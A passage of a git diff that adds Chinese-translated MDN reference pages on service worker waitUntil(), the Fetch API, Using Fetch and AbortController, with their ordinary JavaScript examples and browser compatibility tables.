+    'https://www.chromium.org/_/rsrc/1302286216006/config/customLogo.gif'
+  ];
+
+  console.log('Handling install event. Resources to pre-fetch:', urlsToPrefetch);
+
+  event.waitUntil(
+    caches.open(CURRENT_CACHES['prefetch']).then(function(cache) {
+      cache.addAll(urlsToPrefetch.map(function(urlToPrefetch) {
+        return new Request(urlToPrefetch, {mode: 'no-cors'});
+      })).then(function() {
+        console.log('All resources have been fetched and cached.');
+      });
+    }).catch(function(error) {
+      console.error('Pre-fetching failed:', error);
+    })
+  );
+});
+ +
重点: 在获取资源时,如果有可能资源是由不支持 CORS 的服务器提供的,那么使用 {mode: 'no-cors'} 非常重要。在本例中, www.chromium.org 不支持CORS。
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#extendable-event', 'ExtendableEvent')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
async waitUntil(){{CompatUnknown}}{{ CompatGeckoDesktop("53.0") }}[2]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{ CompatGeckoMobile("44.0") }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
async waitUntil(){{CompatNo}}{{ CompatGeckoMobile("53.0") }}[2]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 & 52 Extended Support Releases (ESR.)

+ +

[2] {{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}} can now be called asynchronously (see {{bug(1263304)}}).

+ +

See also

+ + diff --git a/files/zh-cn/web/api/extendableevent/waituntil/index.html b/files/zh-cn/web/api/extendableevent/waituntil/index.html new file mode 100644 index 0000000000..8e48586b67 --- /dev/null +++ b/files/zh-cn/web/api/extendableevent/waituntil/index.html @@ -0,0 +1,73 @@ +--- +title: ExtendableEvent.waitUntil() +slug: Web/API/ExtendableEvent/waitUntil +translation_of: Web/API/ExtendableEvent/waitUntil +--- +

{{APIRef("Service Workers API")}}

+ +

ExtendableEvent.waitUntil() 方法告诉事件分发器该事件仍在进行。这个方法也可以用于检测进行的任务是否成功。在服务工作线程中,这个方法告诉浏览器事件一直进行,直至 promise 解决,浏览器不应该在事件中的异步操作完成之前终止服务工作线程。

+ +

服务工作线程(service workers)中的 {{domxref("ServiceWorkerGlobalScope/install_event", "install")}} 事件使用 waitUntil() 来将服务工作线程保持在 {{domxref("ServiceWorkerRegistration.installing", "installing")}} 阶段。如果传入 waitUntil() 的 promise 被拒绝,则将此次安装视为失败,丢弃这个服务工作线程。这主要用于确保在服务工作线程安装以前,所有依赖的核心缓存都已经成功载入。

+ +

服务工作线程(service workers)中的 {{domxref("ServiceWorkerGlobalScope/activate_event", "activate")}} 事件使用 waitUntil() 来延迟函数事件,如 fetch 和 push,直至传入 waitUntil() 的 promise 被解决。这让服务工作线程有时间更新数据库架构(database schema)和删除过时缓存({{domxref("Cache", "caches")}}),让其他事件能在一个完成更新的状态下进行。

+ +

 waitUntil() 方法最初必须在事件回调里调用,在此之后,方法可以被调用多次,直至所有传入的 promise 被解决。

+ +
+

注意: 上述段落描述的行为已经在Firefox 43中被修复 (参见 {{bug(1180274)}}.)

+
+ +

语法

+ +
extendableEvent.waitUntil(promise);
+ +

参数

+ +

一个 {{jsxref("Promise")}}.

+ +

示例

+ +

在服务工作线程的 install 事件中使用 waitUntil()

+ +
addEventListener('install', event => {
+  const preCache = async () => {
+    const cache = await caches.open('static-v1');
+    return cache.addAll([
+      '/',
+      '/about/',
+      '/static/styles.css'
+    ]);
+  };
+  event.waitUntil(preCache());
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#dom-extendableevent-waituntil', 'waitUntil()')}}{{Spec2('Service Workers')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.ExtendableEvent.waitUntil")}}

+ +

另参见

+ + diff --git a/files/zh-cn/web/api/fetch_api/basic_concepts/index.html b/files/zh-cn/web/api/fetch_api/basic_concepts/index.html new file mode 100644 index 0000000000..fc87d2c5ef --- /dev/null +++ b/files/zh-cn/web/api/fetch_api/basic_concepts/index.html @@ -0,0 +1,66 @@ +--- +title: Fetch 基本概念 +slug: Web/API/Fetch_API/Basic_concepts +translation_of: Web/API/Fetch_API/Basic_concepts +--- +

{{DefaultAPISidebar("Fetch API")}}{{draft}}

+ +
+

Fetch 是一个现代的概念, 等同于 XMLHttpRequest。它提供了许多与XMLHttpRequest相同的功能,但被设计成更具可扩展性和高效性。本文介绍了 Fetch API的一些基本概念。

+
+ +
+

Note: 这篇文章可能还需要修改。如果你觉得有的概念可以解释的更好,让人们在MDN论坛上知道,或 Mozilla IRC (#mdn room)。

+
+ +

简而言之

+ +

Fetch 的核心在于对 HTTP 接口的抽象,包括 {{domxref("Request")}},{{domxref("Response")}},{{domxref("Headers")}},{{domxref("Body")}},以及用于初始化异步请求的 {{domxref("GlobalFetch.fetch","global fetch")}}。得益于 JavaScript 实现的这些抽象好的 HTTP 模块,其他接口能够很方便的使用这些功能。

+ +

Service Workers 是大量使用Fetch的API的一个示例。

+ +

除此之外,Fetch 还利用到了请求的异步特性——它是基于 {{jsxref("Promise-based","Promise")}} 的。

+ +

Guard

+ +

Guard 是 {{domxref("Headers")}} 对象的特性,基于不同的情况,它可以有以下取值:immutable、requestrequest-no-corsresponse 或 none。

+ +

当使用 {{domxref("Headers.Headers","Headers()")}} {{glossary("constructor")}} 创建一个新的 {{domxref("Headers")}} 对象的时候,它的 guard 被设置成 none(默认值)。当创建 {{domxref("Request")}} 或 {{domxref("Response")}} 对象的时候,它将拥有一个按照以下规则实现的与之关联的 {{domxref("Headers")}} 对象:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
新对象的类型创建时的构造函数关联的 {{domxref("Headers")}} 对象的 guard
{{domxref("Request")}}{{domxref("Request.Request","Request()")}}request
{{domxref("Request.Request","Request()")}},{{domxref("Request.mode","mode")}} 设置成 no-corsrequest-no-cors
{{domxref("Response")}}{{domxref("Response.Response","Response()")}}response
{{domxref("Response.error","error()")}} 或 {{domxref("Response.redirect","redirect()")}} 方法immutable
+ +

头信息的 guard 会影响 {{domxref("Headers.set","set()")}}、{{domxref("Headers.delete","delete()")}} 和 {{domxref("Headers.append","append()")}} 方法。如果你试图修改 guard 是 immutable 的 {{domxref("Headers")}} 对象,那么会抛出一个 TypeError。以下情况则不会抛出错误:

+ + diff --git a/files/zh-cn/web/api/fetch_api/cross-global_fetch_usage/index.html b/files/zh-cn/web/api/fetch_api/cross-global_fetch_usage/index.html new file mode 100644 index 0000000000..7ca474a67a --- /dev/null +++ b/files/zh-cn/web/api/fetch_api/cross-global_fetch_usage/index.html @@ -0,0 +1,38 @@ +--- +title: Cross-global fetch usage +slug: Web/API/Fetch_API/Cross-global_fetch_usage +tags: + - Fetch + - 相对 URL + - 跨源 + - 边缘情况 +translation_of: Web/API/Fetch_API/Cross-global_fetch_usage +--- +

本文解释了在fetch时发生的边缘情况(以及潜在的其他APIs展示相同类型的资源检索行为)。当从“iframe”发起包含相对url的跨源fetch时,相对url用于针对当前全局位置而不是iframe的位置进行解析。

+ +

边缘情况

+ +

大多数网站几乎不会遇到这种边缘情况。如下:

+ + + +

遇到的问题

+ +

以前,我们从当前全局 URL 中解析相对 URL,例如:

+ +
let absolute = new URL(relative, window.location.href)
+ +

这样做不是什么大问题,只是表现出这种行为的不同 API 与规范中定义的行为的不一致可能导致问题的进一步发展。

+ +

解决方案

+ +

在 Firefox 60 及以后版本中,Mozilla 对相对 URL 的解析是相对于拥有fetch()函数的全局的。(见 {{bug(1432272)}})。因此在上述情形中,URL 是相对于 iframe 的地址进行解析的:

+ +
let absolute = new URL(relative, frame.contentWindow.location.href)
+ +

关于使新规范与此行为变化保持一致,以缓解未来可能出现的问题,大量讨论正在进行中。

diff --git a/files/zh-cn/web/api/fetch_api/index.html b/files/zh-cn/web/api/fetch_api/index.html new file mode 100644 index 0000000000..4aa036332c --- /dev/null +++ b/files/zh-cn/web/api/fetch_api/index.html @@ -0,0 +1,90 @@ +--- +title: Fetch API +slug: Web/API/Fetch_API +tags: + - Fetch + - Fetch API + - Web + - XMLHttpRequest + - 参考 +translation_of: Web/API/Fetch_API +--- +

{{DefaultAPISidebar("Fetch API")}}

+ +

Fetch API 提供了一个获取资源的接口(包括跨域请求)。任何使用过 {{domxref("XMLHttpRequest")}} 的人都能轻松上手,而且新的 API 提供了更强大和灵活的功能集。

+ +

概念和用法

+ +

Fetch 提供了对 {{domxref("Request")}} 和 {{domxref("Response")}} (以及其他与网络请求有关的)对象的通用定义。使之今后可以被使用到更多地应用场景中:无论是 service worker、Cache API、又或者是其他处理请求和响应的方式,甚至是任何一种需要你自己在程序中生成响应的方式。

+ +

它同时还为有关联性的概念,例如CORS和HTTP原生头信息,提供一种新的定义,取代它们原来那种分离的定义。

+ +

发送请求或者获取资源,需要使用 {{domxref("WindowOrWorkerGlobalScope.fetch()")}} 方法。它在很多接口中都被实现了,更具体地说,是在 {{domxref("Window")}} 和 {{domxref("WorkerGlobalScope")}} 接口上。因此在几乎所有环境中都可以用这个方法获取到资源。

+ +

 fetch() 必须接受一个参数——资源的路径。无论请求成功与否,它都返回一个 Promise 对象,resolve 对应请求的 {{domxref("Response")}}。你也可以传一个可选的第二个参数 init(参见 {{domxref("Request")}})。

+ +

一旦 {{domxref("Response")}} 被返回,就可以使用一些方法来定义内容的形式,以及应当如何处理内容(参见 {{domxref("Body")}})。

+ +

你也可以通过 {{domxref("Request.Request","Request()")}} 和 {{domxref("Response.Response","Response()")}} 的构造函数直接创建请求和响应,但是我们不建议这么做。他们应该被用于创建其他 API 的结果(比如,service workers 中的 {{domxref("FetchEvent.respondWith")}})。

+ +
+

注意:更多关于 Fetch API 的用法,参考 Using Fetch,以及一些概念 Fetch basic concepts

+
+ +

中止 fetch

+ +

浏览器已经开始为 {{domxref("AbortController")}} 和 {{domxref("AbortSignal")}} 接口(也就是Abort API)添加实验性支持,允许像 Fetch 和 XHR 这样的操作在还未完成时被中止 。请参阅接口页面了解更多详情。

+ +

Fetch 接口

+ +
+
{{domxref("WindowOrWorkerGlobalScope.fetch()")}}
+
包含了fetch() 方法,用于获取资源。
+
{{domxref("Headers")}}
+
相当于 response/request 的头信息,可以使你查询到这些头信息,或者针对不同的结果做不同的操作。
+
{{domxref("Request")}}
+
相当于一个资源请求。
+
{{domxref("Response")}}
+
相当于请求的响应
+
+ +

Fetch mixin

+ +
+
{{domxref("Body")}}
+
提供了与 response/request 中的 body 有关的方法,可以定义它的内容形式以及处理方式。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Fetch')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/fetch_api/using_fetch/index.html b/files/zh-cn/web/api/fetch_api/using_fetch/index.html new file mode 100644 index 0000000000..eb8f12659b --- /dev/null +++ b/files/zh-cn/web/api/fetch_api/using_fetch/index.html @@ -0,0 +1,391 @@ +--- +title: 使用 Fetch +slug: Web/API/Fetch_API/Using_Fetch +tags: + - API + - BODY + - Fetch + - HTTP + - Promise + - Response + - request + - 指南 +translation_of: Web/API/Fetch_API/Using_Fetch +--- +

Fetch API 提供了一个 JavaScript 接口,用于访问和操纵 HTTP 管道的一些具体部分,例如请求和响应。它还提供了一个全局 {{domxref("GlobalFetch.fetch","fetch()")}} 方法,该方法提供了一种简单,合理的方式来跨网络异步获取资源。

+ +

这种功能以前是使用 {{domxref("XMLHttpRequest")}} 实现的。Fetch 提供了一个更理想的替代方案,可以很容易地被其他技术使用,例如  {{domxref("ServiceWorker_API", "Service Workers")}}。Fetch 还提供了专门的逻辑空间来定义其他与 HTTP 相关的概念,例如 CORS 和 HTTP 的扩展。

+ +

请注意,fetch 规范与 jQuery.ajax() 主要有三种方式的不同:

+ + + +

一个基本的 fetch 请求设置起来很简单。看看下面的代码:

+ +
fetch('http://example.com/movies.json')
+  .then(function(response) {
+    return response.json();
+  })
+  .then(function(myJson) {
+    console.log(myJson);
+  });
+ +

这里我们通过网络获取一个 JSON 文件并将其打印到控制台。最简单的用法是只提供一个参数用来指明想 fetch() 到的资源路径,然后返回一个包含响应结果的promise(一个 {{domxref("Response")}} 对象)。

+ +

当然它只是一个 HTTP 响应,而不是真的JSON。为了获取JSON的内容,我们需要使用 {{domxref("Body.json","json()")}} 方法(在 {{domxref("Body")}} mixin 中定义,被 {{domxref("Request")}} 和 {{domxref("Response")}} 对象实现)。

+ +
+

注意:Body mixin 还有其他相似的方法,用于获取其他类型的内容。参考 {{anch("Body")}}。

+
+ +

最好使用符合内容安全策略 (CSP)的链接而不是使用直接指向资源地址的方式来进行Fetch的请求。

+ +

支持的请求参数

+ +

fetch() 接受第二个可选参数,一个可以控制不同配置的 init 对象:

+ +

参考 {{domxref("GlobalFetch.fetch","fetch()")}},查看所有可选的配置和更多描述。

+ +
// Example POST method implementation:
+
+postData('http://example.com/answer', {answer: 42})
+  .then(data => console.log(data)) // JSON from `response.json()` call
+  .catch(error => console.error(error))
+
+function postData(url, data) {
+  // Default options are marked with *
+  return fetch(url, {
+    body: JSON.stringify(data), // must match 'Content-Type' header
+    cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+    credentials: 'same-origin', // include, same-origin, *omit
+    headers: {
+      'user-agent': 'Mozilla/4.0 MDN Example',
+      'content-type': 'application/json'
+    },
+    method: 'POST', // *GET, POST, PUT, DELETE, etc.
+    mode: 'cors', // no-cors, cors, *same-origin
+    redirect: 'follow', // manual, *follow, error
+    referrer: 'no-referrer', // *client, no-referrer
+  })
+  .then(response => response.json()) // parses response to JSON
+}
+
+ +

发送带凭据的请求

+ +

为了让浏览器发送包含凭据的请求(即使是跨域源),要将credentials: 'include'添加到传递给 fetch()方法的init对象。

+ +
fetch('https://example.com', {
+  credentials: 'include'
+})
+
+ +

如果你只想在请求URL与调用脚本位于同一起源处时发送凭据,请添加 credentials: 'same-origin'

+ +
// The calling script is on the origin 'https://example.com'
+
+fetch('https://example.com', {
+  credentials: 'same-origin'
+})
+ +

要改为确保浏览器不在请求中包含凭据,请使用 credentials: 'omit'

+ +
fetch('https://example.com', {
+  credentials: 'omit'
+})
+ +

上传 JSON 数据

+ +

使用 {{domxref("GlobalFetch.fetch","fetch()")}} POST JSON数据

+ +
var url = 'https://example.com/profile';
+var data = {username: 'example'};
+
+fetch(url, {
+  method: 'POST', // or 'PUT'
+  body: JSON.stringify(data), // data can be `string` or {object}!
+  headers: new Headers({
+    'Content-Type': 'application/json'
+  })
+}).then(res => res.json())
+.catch(error => console.error('Error:', error))
+.then(response => console.log('Success:', response));
+ +

上传文件

+ +

可以通过 HTML <input type="file" /> 元素,{{domxref("FormData.FormData","FormData()")}} 和 {{domxref("GlobalFetch.fetch","fetch()")}} 上传文件。

+ +
var formData = new FormData();
+var fileField = document.querySelector("input[type='file']");
+
+formData.append('username', 'abc123');
+formData.append('avatar', fileField.files[0]);
+
+fetch('https://example.com/profile/avatar', {
+  method: 'PUT',
+  body: formData
+})
+.then(response => response.json())
+.catch(error => console.error('Error:', error))
+.then(response => console.log('Success:', response));
+ +

上传多个文件

+ +

可以通过HTML <input type="file" mutiple/> 元素,{{domxref("FormData.FormData","FormData()")}} 和 {{domxref("GlobalFetch.fetch","fetch()")}} 上传文件。

+ +
var formData = new FormData();
+var photos = document.querySelector("input[type='file'][multiple]");
+
+formData.append('title', 'My Vegas Vacation');
+// formData 只接受文件、Blob 或字符串,不能直接传递数组,所以必须循环嵌入
+for (let i = 0; i < photos.files.length; i++) {
+    formData.append('photo', photos.files[i]);
+}
+
+fetch('https://example.com/posts', {
+  method: 'POST',
+  body: formData
+})
+.then(response => response.json())
+.then(response => console.log('Success:', JSON.stringify(response)))
+.catch(error => console.error('Error:', error));
+
+ +

检测请求是否成功

+ +

如果遇到网络故障,{{domxref("GlobalFetch.fetch","fetch()")}} promise 将会 reject,带上一个 {{jsxref("TypeError")}} 对象。虽然这个情况经常是遇到了权限问题或类似问题——比如 404 不是一个网络故障。想要精确的判断 fetch() 是否成功,需要包含 promise resolved 的情况,此时再判断 {{domxref("Response.ok")}} 是不是为 true。类似以下代码:

+ +
fetch('flowers.jpg').then(function(response) {
+  if(response.ok) {
+    return response.blob();
+  }
+  throw new Error('Network response was not ok.');
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+}).catch(function(error) {
+  console.log('There has been a problem with your fetch operation: ', error.message);
+});
+ +

自定义请求对象

+ +

除了传给 fetch() 一个资源的地址,你还可以通过使用 {{domxref("Request.Request","Request()")}} 构造函数来创建一个 request 对象,然后再作为参数传给 fetch()

+ +
var myHeaders = new Headers();
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});
+
+ +

Request()fetch() 接受同样的参数。你甚至可以传入一个已存在的 request 对象来创造一个拷贝:

+ +
var anotherRequest = new Request(myRequest,myInit);
+ +

这个很有用,因为 request 和 response bodies 只能被使用一次(译者注:这里的意思是因为设计成了 stream 的方式,所以它们只能被读取一次)。创建一个拷贝就可以再次使用 request/response 了,当然也可以使用不同的 init 参数。

+ +
+

注意:{{domxref("Request.clone","clone()")}} 方法也可以用于创建一个拷贝。它和上述方法一样,如果 request 或 response 的 body 已经被读取过,那么将执行失败。区别在于, clone() 出的 body 被读取不会导致原 body 被标记为已读取。

+
+ +

Headers

+ +

使用 {{domxref("Headers")}} 的接口,你可以通过 {{domxref("Headers.Headers","Headers()")}} 构造函数来创建一个你自己的 headers 对象。一个 headers 对象是一个简单的多名值对:

+ +
var content = "Hello World";
+var myHeaders = new Headers();
+myHeaders.append("Content-Type", "text/plain");
+myHeaders.append("Content-Length", content.length.toString());
+myHeaders.append("X-Custom-Header", "ProcessThisImmediately");
+ +

也可以传一个多维数组或者对象字面量:

+ +
myHeaders = new Headers({
+  "Content-Type": "text/plain",
+  "Content-Length": content.length.toString(),
+  "X-Custom-Header": "ProcessThisImmediately",
+});
+ +

它的内容可以被获取:

+ +
console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.getAll("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.getAll("X-Custom-Header")); // [ ]
+ +

虽然一些操作只能在 {{domxref("ServiceWorker_API","ServiceWorkers")}} 中使用,但是它提供了更方便的操作 Headers 的 API。

+ +

如果使用了一个不合法的HTTP Header属性名,那么Headers的方法通常都抛出 TypeError 异常。如果不小心写入了一个不可写的属性,也会抛出一个 TypeError 异常。除此以外的情况,失败了并不抛出异常。例如:

+ +
var myResponse = Response.error();
+try {
+  myResponse.headers.set("Origin", "http://mybank.com");
+} catch(e) {
+  console.log("Cannot pretend to be a bank!");
+}
+ +

最好在在使用之前检查内容类型 content-type 是否正确,比如:

+ +
fetch(myRequest).then(function(response) {
+  if(response.headers.get("content-type") === "application/json") {
+    return response.json().then(function(json) {
+      // process your JSON further
+    });
+  } else {
+    console.log("Oops, we haven't got JSON!");
+  }
+});
+ +

Guard

+ +

由于 Headers 可以在 request 请求中被发送或者在 response 请求中被接收,并且规定了哪些参数是可写的,Headers 对象有一个特殊的 guard 属性。这个属性没有暴露给 Web,但是它影响到哪些内容可以在 Headers 对象中被操作。

+ +

可能的值如下:

+ + + +
+

注意:你不可以添加或者修改一个 guard 属性是 request 的 Request Header 的 Content-Length 属性。同样地,插入 Set-Cookie 属性到一个 response header 是不允许的,因此,Service Worker 中,不能给合成的 Response 的 header 添加一些 cookie。

+
+ +

Response 对象

+ +

如上所述,{{domxref("Response")}} 实例是在 fetch() 处理完 promise 之后返回的。

+ +

你会用到的最常见的 response 属性有:

+ + + +

它的实例也可用通过 JavaScript 来创建,但只有在 {{domxref("ServiceWorker_API", "ServiceWorkers")}} 中才真正有用,当使用 {{domxref("FetchEvent.respondWith","respondWith()")}} 方法并提供了一个自定义的 response 来接受 request 时:

+ +
var myBody = new Blob();
+
+addEventListener('fetch', function(event) {
+  event.respondWith(new Response(myBody, {
+    headers: { "Content-Type" : "text/plain" }
+  });
+});
+ +

{{domxref("Response.Response","Response()")}} 构造方法接受两个可选参数—— response 的数据体和一个初始化对象(与{{domxref("Request.Request","Request()")}} 所接受的 init 参数类似。)

+ + + +
+

注意: 静态方法 {{domxref("Response.error","error()")}} 只是返回了错误的response。与此类似地,{{domxref("Response.redirect","redirect()")}} 只是返回了一个可以重定向至某 URL 的 response。这些也只与 Service Worker 有关。

+
+ +

Body

+ +

不管是请求还是响应都能够包含 body 对象。body 也可以是以下任意类型的实例。

+ + + +

{{domxref("Body")}} 类定义了以下方法(这些方法都被 {{domxref("Request")}} 和{{domxref("Response")}}所实现)以获取 body 内容。这些方法都会返回一个被解析后的{{domxref("Promise")}}对象和数据。

+ + + +

比起XHR来,这些方法让非文本化的数据使用起来更加简单。

+ +

请求体可以由传入 body 参数来进行设置:

+ +
var form = new FormData(document.getElementById('login-form'));
+fetch("/login", {
+  method: "POST",
+  body: form
+})
+
+ +

request和response(包括 fetch() 方法)都会试着自动设置 Content-Type。如果没有设置 Content-Type 值,发送的请求也会自动设值。

+ +

特性检测

+ +

Fetch API 的支持情况,可以通过检测{{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} 或 {{domxref("GlobalFetch.fetch","fetch()")}}是否在{{domxref("Window")}} 或 {{domxref("Worker")}} 域中。例如:

+ +
if(self.fetch) {
+    // run my fetch request here
+} else {
+    // do something with XMLHttpRequest?
+}
+ +

Polyfill

+ +

如果要在不支持的浏览器中使用 Fetch,可以使用 Fetch Polyfill

+ +

规范

+ + + + + + + + + + + + + + +
详细说明状态注释
{{SpecName('Fetch')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}

+ +

参见

+ + + +
{{DefaultAPISidebar("Fetch API")}}
diff --git a/files/zh-cn/web/api/fetchcontroller/abort/index.html b/files/zh-cn/web/api/fetchcontroller/abort/index.html new file mode 100644 index 0000000000..d661e73d2b --- /dev/null +++ b/files/zh-cn/web/api/fetchcontroller/abort/index.html @@ -0,0 +1,85 @@ +--- +title: AbortController.abort() +slug: Web/API/FetchController/abort +translation_of: Web/API/AbortController/abort +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

The abort() method of the {{domxref("AbortController")}} interface aborts a DOM request (e.g. a Fetch request) before it has completed. This is able to abort fetch requests, consumption of any response {{domxref("Body")}}, and streams.

+ +

Syntax

+ +
controller.abort();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

Void.

+ +

Examples

+ +

In the following snippet, we aim to download a video using the Fetch API.

+ +

We first create a controller using the {{domxref("AbortController.AbortController","AbortController()")}} constructor, then grab a reference to its associated {{domxref("AbortSignal")}} object using the {{domxref("AbortController.signal")}} property.

+ +

When the fetch request is initiated, we pass in the AbortSignal as an option inside the request's options object (see {signal}, below). This associates the signal and controller with the fetch request and allows us to abort it by calling {{domxref("AbortController.abort()")}}, as seen below in the second event listener.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

Note: When abort() is called, the fetch() promise rejects with an AbortError.

+
+ +

You can find a full working example on GitHub — see abort-api (see it running live also).

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.AbortController.abort")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html b/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html new file mode 100644 index 0000000000..35fe67d1ae --- /dev/null +++ b/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html @@ -0,0 +1,85 @@ +--- +title: AbortController.AbortController() +slug: Web/API/FetchController/AbortController +tags: + - AbortController + - Constructor + - Fetch +translation_of: Web/API/AbortController/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController() 构造函数创建了一个新的AbortController实例

+ +

Syntax

+ +
var controller = new AbortController();
+ +

Parameters

+ +

无.

+ +

Examples

+ +

在下面的这段代码中, 我们将通过Fetch API来下载一段视频.

+ +

首先通过{{domxref("AbortController.AbortController","AbortController()")}} 构造函数来创建一个controller实例, 然后通过{{domxref("AbortController.signal")}} 属性获取到它的关联对象{{domxref("AbortSignal")}} 的引用.

+ +

当 fetch request 初始化后, 将 AbortSignal 作为一个选项传入请求的选项参数中 (如下 {signal}). 这将signal,controller与fetch请求关联起来, 允许我们通过调用{{domxref("AbortController.abort()")}}来取消fetch请求, 正如下第二个事件监听器所示.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

提示: 当abort() 被调用,  fetch() promise 将会抛出一个AbortError对象.

+
+ +

你可以在GitHub上找到一个完整的使用示例 — see abort-api (see it running live also).

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.AbortController.AbortController")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/fetchcontroller/index.html b/files/zh-cn/web/api/fetchcontroller/index.html new file mode 100644 index 0000000000..4211eb8211 --- /dev/null +++ b/files/zh-cn/web/api/fetchcontroller/index.html @@ -0,0 +1,106 @@ +--- +title: AbortController +slug: Web/API/FetchController +tags: + - API + - AbortController + - Fetch + - how to cancel a fetch request +translation_of: Web/API/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController接口表示一个控制器对象,允许你根据需要中止一个或多个 Web请求。

+ +

你可以使用 {{domxref("AbortController.AbortController()")}} 构造函数创建一个新的 AbortController 。使用{{domxref("AbortSignal")}} 对象可以完成与与DOM请求的通信。

+ +

构造函数

+ +
+
{{domxref("AbortController.AbortController()")}}
+
创建一个新的AbortController 对象实例。
+
+ +

属性

+ +
+
{{domxref("AbortController.signal")}} {{readonlyInline}}
+
返回一个{{domxref("AbortSignal")}}对象实例,它可以用来 with/abort 一个Web(网络)请求。
+
+ +

方法

+ +
+
{{domxref("AbortController.abort()")}}
+
中止一个尚未完成的Web(网络)请求。这能够中止fetch 请求,任何响应{{domxref("Body")}}的消费者和流。
+
+ +

示例

+ +

在下面的代码片段中,我们想通过 Fetch API 下载一段视频。

+ +

我们先使用{{domxref("AbortController.AbortController","AbortController()")}}构造函数创建一个控制器,然后使用{{domxref("AbortController.signal")}}属性获取其关联 {{domxref("AbortSignal")}}对象的引用。

+ +

当一个 fetch request 初始化,我们把 AbortSignal 作为一个选项传递到到请求对象(如下 {signal})。这将信号和控制器与获取请求相关联然后允许我们通过调用{{domxref("AbortController.abort()")}}中止请求,如下第二个事件监听函数。

+ +
const controller = new AbortController();
+let signal = controller.signal;
+
+const downloadBtn = document.querySelector('.download');
+const abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  //...
+  fetch(url, {signal}).then(function(response) {
+    //...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

注意:abort() 被调用时,fetch() promise 拒绝一个名为 AbortError 的DOMException

+
+ +

可以在GitHub上找到完整的工作示例 — 请参见 abort-api另请参见实时运行)。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("api.AbortController")}}

+ +

参见

+ + + +
+
+
